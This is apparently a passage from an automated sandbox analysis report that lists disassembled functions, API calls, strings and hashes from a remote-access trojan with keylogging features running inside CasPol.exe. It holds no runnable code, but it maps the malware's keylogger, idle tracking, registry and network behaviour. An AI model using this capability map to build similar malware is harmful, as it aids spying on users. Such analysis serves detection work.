                                                                                    • Opcode ID: 25dc6885441413c1cb34c24d28a0f4be4952bc37a9e0bff84388eedc19b5b634
                                                                                    • Instruction ID: b7dfc09a395f5416f32c5fe597dbb364f69b6ed32616efff49b152d1c9b912f4
                                                                                    • Opcode Fuzzy Hash: 25dc6885441413c1cb34c24d28a0f4be4952bc37a9e0bff84388eedc19b5b634
                                                                                    • Instruction Fuzzy Hash: 30518D716043005ACB05BB72D866ABF769AAFD1309F00053FF886B71E2DF3D9D44869A
                                                                                    Function 0040428C Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 147networkCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1050 40428c-4042ad connect 1051 4043e1-4043e5 1050->1051 1052 4042b3-4042b6 1050->1052 1055 4043e7-4043f5 WSAGetLastError 1051->1055 1056 40445f 1051->1056 1053 4043da-4043dc 1052->1053 1054 4042bc-4042bf 1052->1054 1057 404461-404465 1053->1057 1058 4042c1-4042e8 call 404cbf call 401f66 call 41a686 1054->1058 1059 4042eb-4042f5 call 420151 1054->1059 1055->1056 1060 4043f7-4043fa 1055->1060 1056->1057 1058->1059 1069 404306-404313 call 420373 1059->1069 1070 4042f7-404301 1059->1070 1063 404439-40443e 1060->1063 1064 4043fc-404437 call 41bc76 call 404c9e call 401f66 call 41a686 call 401eea 1060->1064 1066 404443-40445c call 401f66 * 2 call 41a686 1063->1066 1064->1056 1066->1056 1084 404315-404338 call 401f66 * 2 call 41a686 1069->1084 1085 40434c-404357 call 420f34 1069->1085 1070->1066 1113 40433b-404347 call 420191 1084->1113 1096 404389-404396 call 4202ea 1085->1096 1097 404359-404387 call 401f66 * 2 call 41a686 call 420592 1085->1097 1107 404398-4043bb call 401f66 * 2 call 41a686 1096->1107 1108 4043be-4043d7 CreateEventW * 2 1096->1108 1097->1113 1107->1108 1108->1053 1113->1056
                                                                                    APIs
                                                                                    • connect.WS2_32(?,?,?), ref: 004042A5
                                                                                    • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,?,?,0040192B), ref: 004043CB
                                                                                    • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,?,?,0040192B), ref: 004043D5
                                                                                    • WSAGetLastError.WS2_32(?,?,?,0040192B), ref: 004043E7
                                                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateEvent$ErrorLastLocalTimeconnect
                                                                                    • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                                                                                    • API String ID: 994465650-2151626615
                                                                                    • Opcode ID: 2bc5e8461ca3afc75119b91fb400947b0245c98987afaab10fbe88cd63cd31a1
                                                                                    • Instruction ID: b196b808fbc66b1ac8da6b4b51d7f626a0d3d22bc4cde50e21f83cd2c7739b74
                                                                                    • Opcode Fuzzy Hash: 2bc5e8461ca3afc75119b91fb400947b0245c98987afaab10fbe88cd63cd31a1
                                                                                    • Instruction Fuzzy Hash: ED4128B1B00202A7CB04B77A8C5B66D7A55AB81368B40007FF901676D3EE7DAD6087DF
                                                                                    Function 004047EB Relevance: 18.1, APIs: 12, Instructions: 66synchronizationCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 004047FD
                                                                                    • SetEvent.KERNEL32(?,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 00404808
                                                                                    • CloseHandle.KERNEL32(?), ref: 00404811
                                                                                    • closesocket.WS2_32(000000FF), ref: 0040481F
                                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 00404856
                                                                                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00404867
                                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040486E
                                                                                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404880
                                                                                    • CloseHandle.KERNELBASE(?), ref: 00404885
                                                                                    • CloseHandle.KERNELBASE(?), ref: 0040488A
                                                                                    • SetEvent.KERNEL32(?,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 00404895
                                                                                    • CloseHandle.KERNEL32(?), ref: 0040489A
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                                                                                    • String ID:
                                                                                    • API String ID: 3658366068-0
                                                                                    • Opcode ID: 5ad18bbf4ae7feaed2857fa056367bca8483678701d03ea676763946d5c1548a
                                                                                    • Instruction ID: 5504d0c870acfe65fd0076db90b097e51f0e6d2514c589c74abed5ba37c9c78a
                                                                                    • Opcode Fuzzy Hash: 5ad18bbf4ae7feaed2857fa056367bca8483678701d03ea676763946d5c1548a
                                                                                    • Instruction Fuzzy Hash: 3C212C71104B149FCB216B26EC45A27BBE1EF40325F104A7EF2E612AF1CB76E851DB48
                                                                                    Function 0040A3F4 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 158sleepCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • __Init_thread_footer.LIBCMT ref: 0040A456
                                                                                    • Sleep.KERNELBASE(000001F4), ref: 0040A461
                                                                                    • GetForegroundWindow.USER32 ref: 0040A467
                                                                                    • GetWindowTextLengthW.USER32(00000000), ref: 0040A470
                                                                                    • GetWindowTextW.USER32(00000000,00000000,00000000,00000001,00000000), ref: 0040A4A4
                                                                                    • Sleep.KERNEL32(000003E8), ref: 0040A574
                                                                                      • Part of subcall function 00409D58: SetEvent.KERNEL32(?,?,?,0040AF3F,?,?,?,?,?,00000000), ref: 00409D84
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                                                                    • String ID: [${ User has been idle for $ minutes }$]
                                                                                    • API String ID: 911427763-3954389425
                                                                                    • Opcode ID: 4f8b8cb0c9ee605f642951e99c9669dc9c444aa7125a2f7fdf95d7018cf2d41d
                                                                                    • Instruction ID: 0ecdfa35f4bf358d0b6072dbfc0ad8fc4f94b2a12b5a089c7f39fa9b67fb4d59
                                                                                    • Opcode Fuzzy Hash: 4f8b8cb0c9ee605f642951e99c9669dc9c444aa7125a2f7fdf95d7018cf2d41d
                                                                                    • Instruction Fuzzy Hash: C451DF316083005BC614FB21D84AAAE7794BF84318F50493FF846A62E2EF7C9E55C69F
                                                                                    Function 0040C89E Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1222 40c89e-40c8c3 call 401e52 1225 40c8c9 1222->1225 1226 40c9ed-40ca13 call 401e07 GetLongPathNameW call 403b40 1222->1226 1227 40c8d0-40c8d5 1225->1227 1228 40c9c2-40c9c7 1225->1228 1229 40c905-40c90a 1225->1229 1230 40c9d8 1225->1230 1231 40c9c9-40c9ce call 43ac0f 1225->1231 1232 40c8da-40c8e8 call 41a74b call 401e18 1225->1232 1233 40c8fb-40c900 1225->1233 1234 40c9bb-40c9c0 1225->1234 1235 40c90f-40c916 call 41b15b 1225->1235 1252 40ca18-40ca85 call 403b40 call 40cc37 call 402860 * 2 call 401e13 * 5 1226->1252 1237 40c9dd-40c9e2 call 43ac0f 1227->1237 1228->1237 1229->1237 1230->1237 1243 40c9d3-40c9d6 1231->1243 1255 40c8ed 1232->1255 1233->1237 1234->1237 1247 40c918-40c968 call 403b40 call 43ac0f call 403b40 call 402860 call 401e18 call 401e13 * 2 1235->1247 1248 40c96a-40c9b6 call 403b40 call 43ac0f call 403b40 call 402860 call 401e18 call 401e13 * 2 1235->1248 1249 40c9e3-40c9e8 call 4082d7 1237->1249 1243->1230 1243->1249 1261 40c8f1-40c8f6 call 401e13 1247->1261 1248->1255 1249->1226 1255->1261 1261->1226
                                                                                    APIs
                                                                                    • GetLongPathNameW.KERNEL32(00000000,?,00000208,00000000,?,00000030), ref: 0040CA04
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LongNamePath
                                                                                    • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                                                                    • API String ID: 82841172-425784914
                                                                                    • Opcode ID: 32c7dd7da07534816f75e312af4f9c722b84838e0212387709dec4be18cb4e42
                                                                                    • Instruction ID: 51cedb133b73bca78a9fc1065318242b3d6e678e936cb09da4a185c9a299c852
                                                                                    • Opcode Fuzzy Hash: 32c7dd7da07534816f75e312af4f9c722b84838e0212387709dec4be18cb4e42
                                                                                    • Instruction Fuzzy Hash: 39413A721442009BC214FB21DD96DAFB7A4AE90759F10063FB546720E2EE7CAA49C69F
                                                                                    Function 00449950 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1321 449950-449969 1322 44997f-449984 1321->1322 1323 44996b-44997b call 4453f9 1321->1323 1325 449986-44998e 1322->1325 1326 449991-4499b5 MultiByteToWideChar 1322->1326 1323->1322 1333 44997d 1323->1333 1325->1326 1327 449b48-449b5b call 433d2c 1326->1327 1328 4499bb-4499c7 1326->1328 1330 4499c9-4499da 1328->1330 1331 449a1b 1328->1331 1334 4499dc-4499eb call 455f30 1330->1334 1335 4499f9-449a0a call 446aff 1330->1335 1337 449a1d-449a1f 1331->1337 1333->1322 1341 449b3d 1334->1341 1347 4499f1-4499f7 1334->1347 1335->1341 1348 449a10 1335->1348 1340 449a25-449a38 MultiByteToWideChar 1337->1340 1337->1341 1340->1341 1344 449a3e-449a50 call 44785d 1340->1344 1345 449b3f-449b46 call 4353f9 1341->1345 1350 449a55-449a59 1344->1350 1345->1327 1352 449a16-449a19 1347->1352 1348->1352 1350->1341 1353 449a5f-449a66 1350->1353 1352->1337 1354 449aa0-449aac 1353->1354 1355 449a68-449a6d 1353->1355 1357 449aae-449abf 1354->1357 1358 449af8 1354->1358 1355->1345 1356 449a73-449a75 1355->1356 1356->1341 1359 449a7b-449a95 call 44785d 1356->1359 1361 449ac1-449ad0 call 455f30 1357->1361 1362 449ada-449aeb call 446aff 1357->1362 1360 449afa-449afc 1358->1360 1359->1345 1374 449a9b 1359->1374 1364 449b36-449b3c call 4353f9 1360->1364 1365 449afe-449b17 call 44785d 1360->1365 1361->1364 1377 449ad2-449ad8 1361->1377 1362->1364 1373 449aed 1362->1373 1364->1341 1365->1364 1379 449b19-449b20 1365->1379 1378 449af3-449af6 1373->1378 1374->1341 1377->1378 1378->1360 1380 449b22-449b23 1379->1380 1381 449b5c-449b62 1379->1381 1382 449b24-449b34 WideCharToMultiByte 1380->1382 1381->1382 1382->1364 1383 449b64-449b6b call 4353f9 1382->1383 1383->1345
                                                                                    APIs
                                                                                    • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0043D564,0043D564,?,?,?,00449BA1,00000001,00000001,1AE85006), ref: 004499AA
                                                                                    • __alloca_probe_16.LIBCMT ref: 004499E2
                                                                                    • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00449BA1,00000001,00000001,1AE85006,?,?,?), ref: 00449A30
                                                                                    • __alloca_probe_16.LIBCMT ref: 00449AC7
                                                                                    • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,1AE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00449B2A
                                                                                    • __freea.LIBCMT ref: 00449B37
                                                                                      • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434403,?,?,00437227,?,?,?,?,?,0040CC87,00434403,?,?,?,?), ref: 00446B31
                                                                                    • __freea.LIBCMT ref: 00449B40
                                                                                    • __freea.LIBCMT ref: 00449B65
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                                                                                    • String ID:
                                                                                    • API String ID: 3864826663-0
                                                                                    • Opcode ID: 352025556551dac2c37919268567461b7de28f4f732b96d5dc4c3903fd0b0184
                                                                                    • Instruction ID: d3450b84a68f20df6837e20b70452335b33749c243a385fd48b45426a0ff81fe
                                                                                    • Opcode Fuzzy Hash: 352025556551dac2c37919268567461b7de28f4f732b96d5dc4c3903fd0b0184
                                                                                    • Instruction Fuzzy Hash: 89511572610246AFFB258F65DC81EBB77A9EB44754F15462EFC04E6240EF38EC40E668
                                                                                    Function 0041A463 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                      • Part of subcall function 0041B15B: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B16C
                                                                                      • Part of subcall function 00412513: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00412537
                                                                                      • Part of subcall function 00412513: RegQueryValueExA.KERNEL32 ref: 00412554
                                                                                      • Part of subcall function 00412513: RegCloseKey.KERNEL32(?), ref: 0041255F
                                                                                    • StrToIntA.SHLWAPI(00000000), ref: 0041A4D9
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCurrentOpenProcessQueryValue
                                                                                    • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                                                    • API String ID: 1866151309-2070987746
                                                                                    • Opcode ID: b478c6d000ec55873d16e5b897a4d4eed7eac747e860a25387e218ea6cd597fd
                                                                                    • Instruction ID: 19977b185b3bcff34fa520d2ecc4782d624f476aadfe6515b429a208ce335d2f
                                                                                    • Opcode Fuzzy Hash: b478c6d000ec55873d16e5b897a4d4eed7eac747e860a25387e218ea6cd597fd
                                                                                    • Instruction Fuzzy Hash: EF11E9A060020166C704B365DCABDBF765ADB90304F50443FB906E31D2EB6C9E9683EE
                                                                                    Function 00409D97 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1457 409d97-409da7 1458 409e44-409e47 1457->1458 1459 409dad-409daf 1457->1459 1460 409db2-409dd8 call 401e07 CreateFileW 1459->1460 1463 409e18 1460->1463 1464 409dda-409de8 GetFileSize 1460->1464 1467 409e1b-409e1f 1463->1467 1465 409dea 1464->1465 1466 409e0f-409e16 CloseHandle 1464->1466 1468 409df4-409dfb 1465->1468 1469 409dec-409df2 1465->1469 1466->1467 1467->1460 1470 409e21-409e24 1467->1470 1471 409e04-409e09 Sleep 1468->1471 1472 409dfd-409dff call 40a7f0 1468->1472 1469->1466 1469->1468 1470->1458 1473 409e26-409e2d 1470->1473 1471->1466 1472->1471 1473->1458 1474 409e2f-409e3f call 4082dc call 4098a5 1473->1474 1474->1458
                                                                                    APIs
                                                                                    • CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00409DCD
                                                                                    • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00409E6F), ref: 00409DDC
                                                                                    • Sleep.KERNEL32(00002710,?,?,?,00409E6F), ref: 00409E09
                                                                                    • CloseHandle.KERNELBASE(00000000), ref: 00409E10
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CloseCreateHandleSizeSleep
                                                                                    • String ID: `AG
                                                                                    • API String ID: 1958988193-3058481221
                                                                                    • Opcode ID: 0586b8f9d43dbb7048378459902209a7f5a0eee35e296c9d9bb098e6f758afb4
                                                                                    • Instruction ID: 61dc848fc85204ea7fc5a67171cad01df1347b3512dd41eabc6ad436608203b4
                                                                                    • Opcode Fuzzy Hash: 0586b8f9d43dbb7048378459902209a7f5a0eee35e296c9d9bb098e6f758afb4
                                                                                    • Instruction Fuzzy Hash: 3A11C4303407406AE731E764E88962B7A9AAB91311F44057EF18562AE3D7389CD1829D
                                                                                    Function 004126D2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37registryCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1479 4126d2-4126e9 RegCreateKeyA 1480 412722 1479->1480 1481 4126eb-412720 call 4022f8 call 401e8f RegSetValueExA RegCloseKey 1479->1481 1483 412724-412730 call 401eea 1480->1483 1481->1483
                                                                                    APIs
                                                                                    • RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 004126E1
                                                                                    • RegSetValueExA.KERNEL32(?,HgF,00000000,?,00000000,00000000), ref: 00412709
                                                                                    • RegCloseKey.KERNEL32(?), ref: 00412714
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCreateValue
                                                                                    • String ID: HgF$pth_unenc
                                                                                    • API String ID: 1818849710-3662775637
                                                                                    • Opcode ID: 527e28f3b051cf4da2b25fb1b82031e69a8b63d3ddd468a42223c023ca7a807e
                                                                                    • Instruction ID: d7c223529d0a909ac1d5b5cf1be9cbd74eb10d05c00374dbcf2eb8abb0eb8976
                                                                                    • Opcode Fuzzy Hash: 527e28f3b051cf4da2b25fb1b82031e69a8b63d3ddd468a42223c023ca7a807e
                                                                                    • Instruction Fuzzy Hash: 98F09032040104FBCB019FA0ED55EEF37ACEF04751F108139FD06A61A1EA75DE04EA94
                                                                                    Function 004098A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateThread.KERNELBASE(00000000,00000000,004099A9,?,00000000,00000000), ref: 0040992A
                                                                                    • CreateThread.KERNELBASE(00000000,00000000,Function_00009993,?,00000000,00000000), ref: 0040993A
                                                                                    • CreateThread.KERNELBASE(00000000,00000000,Function_000099B5,?,00000000,00000000), ref: 00409946
                                                                                      • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040A884
                                                                                      • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateThread$LocalTimewsprintf
                                                                                    • String ID: Offline Keylogger Started
                                                                                    • API String ID: 465354869-4114347211
                                                                                    • Opcode ID: aa7dad158495ae52b0f3a751208c625103e585d813ac465631ead48c5b0ce597
                                                                                    • Instruction ID: 73cd13916ef890eca76c0e29a3751801184202c96e3ca0ae9416a03768ca9078
                                                                                    • Opcode Fuzzy Hash: aa7dad158495ae52b0f3a751208c625103e585d813ac465631ead48c5b0ce597
                                                                                    • Instruction Fuzzy Hash: CF11ABB15003097AD220BA36DC87CBF765CDA813A8B40053EF845225D3EA785E54C6FB
                                                                                    Function 00404915 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60timethreadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocalTime.KERNEL32(?), ref: 00404946
                                                                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00404994
                                                                                    • CreateThread.KERNELBASE(00000000,00000000,Function_00004B1D,?,00000000,00000000), ref: 004049A7
                                                                                    Strings
                                                                                    • KeepAlive | Enabled | Timeout: , xrefs: 0040495C
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Create$EventLocalThreadTime
                                                                                    • String ID: KeepAlive | Enabled | Timeout:
                                                                                    • API String ID: 2532271599-1507639952
                                                                                    • Opcode ID: ee3ad1be35f4293743414279c88800ade4f2d806fe95fc1c64c02c4606088ff0
                                                                                    • Instruction ID: c7daaf492e0cec12b0841424890a61be8e5b61f5a3177df3d8f4b9063cedc03f
                                                                                    • Opcode Fuzzy Hash: ee3ad1be35f4293743414279c88800ade4f2d806fe95fc1c64c02c4606088ff0
                                                                                    • Instruction Fuzzy Hash: 38113AB19042547AC710A7BA8C49BCB7F9C9F86364F00407BF40462192C7789845CBFA
                                                                                    Function 004127D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                                                    • RegSetValueExA.KERNEL32(TUF,000000AF,00000000,00000004,00000001,00000004), ref: 004127FE
                                                                                    • RegCloseKey.KERNEL32(?), ref: 00412809
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCreateValue
                                                                                    • String ID: TUF
                                                                                    • API String ID: 1818849710-3431404234
                                                                                    • Opcode ID: 386e33d00f3fb5cef405d4ff1ae12e7e359dce24562d3d83ccac8fce873b9f24
                                                                                    • Instruction ID: 4d8f19d4f5fba69279ea975c705bdc3302fb28fe13ea63ccb444db4f968143a5
                                                                                    • Opcode Fuzzy Hash: 386e33d00f3fb5cef405d4ff1ae12e7e359dce24562d3d83ccac8fce873b9f24
                                                                                    • Instruction Fuzzy Hash: 8DE03071540204BFEF115B909C05FDB3BA8EB05B95F004161FA05F6191D271CE14D7A4
                                                                                    Function 0041B58F Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041B5CE
                                                                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,0040A009,?,00000000,00000000), ref: 0041B5EB
                                                                                    • WriteFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000), ref: 0041B5FF
                                                                                    • CloseHandle.KERNELBASE(00000000), ref: 0041B60C
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CloseCreateHandlePointerWrite
                                                                                    • String ID:
                                                                                    • API String ID: 3604237281-0
                                                                                    • Opcode ID: cba3a97e1e2bda49592f8a8e1d6d35a5d6160c6c563f13c2ae5fe5c742252b28
                                                                                    • Instruction ID: 083799f3d1f95ebfb1fb2bbe8bc155d348f6fb5eb74ded268dd94cd43ec1eb57
                                                                                    • Opcode Fuzzy Hash: cba3a97e1e2bda49592f8a8e1d6d35a5d6160c6c563f13c2ae5fe5c742252b28
                                                                                    • Instruction Fuzzy Hash: 7501F5712092157FE6104F28AC89EBB739EEB86379F10063AF552C22C0D725CD8586BE
                                                                                    Function 00447210 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,00000000,00000000,00000000,?,004471B7,00000000,00000000,00000000,00000000,?,004474E3,00000006,FlsSetValue), ref: 00447242
                                                                                    • GetLastError.KERNEL32(?,004471B7,00000000,00000000,00000000,00000000,?,004474E3,00000006,FlsSetValue,0045D328,FlsSetValue,00000000,00000364,?,00446F91), ref: 0044724E
                                                                                    • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,004471B7,00000000,00000000,00000000,00000000,?,004474E3,00000006,FlsSetValue,0045D328,FlsSetValue,00000000), ref: 0044725C
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LibraryLoad$ErrorLast
                                                                                    • String ID:
                                                                                    • API String ID: 3177248105-0
                                                                                    • Opcode ID: ae052748fea16bfd64aed14cfe47709c8c773e0353203442da9e9610ebb1fa47
                                                                                    • Instruction ID: 998cab178f840ac2caaf283a3a5c141d85ba25b8fcaedc139a46ff50caeaa73b
                                                                                    • Opcode Fuzzy Hash: ae052748fea16bfd64aed14cfe47709c8c773e0353203442da9e9610ebb1fa47
                                                                                    • Instruction Fuzzy Hash: FC01D83261D7236BD7214B79AC44A577798BB05BA1B1106B2F906E3241D768D802C6D8
                                                                                    Function 0041B61A Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                    • GetFileSize.KERNEL32(00000000,00000000), ref: 0041B647
                                                                                    • ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 0041B66C
                                                                                    • CloseHandle.KERNELBASE(00000000), ref: 0041B67A
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CloseCreateHandleReadSize
                                                                                    • String ID:
                                                                                    • API String ID: 3919263394-0
                                                                                    • Opcode ID: 0e0033f64f8451bb372a2b2a88171f1815919a66d822dbb045df1505d3cebfa8
                                                                                    • Instruction ID: 0a6fce4b3becde4f67ebc64a516323d43c368a538d14007d95c0a1c89629aad3
                                                                                    • Opcode Fuzzy Hash: 0e0033f64f8451bb372a2b2a88171f1815919a66d822dbb045df1505d3cebfa8
                                                                                    • Instruction Fuzzy Hash: B3F0F6B12053047FE6101B25FC85FBF375CDB867A5F00023EFC01A22D1DA658C459179
                                                                                    Function 0044DB34 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetCPInfo.KERNEL32(?,?,00000005,?,00000000), ref: 0044DB59
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
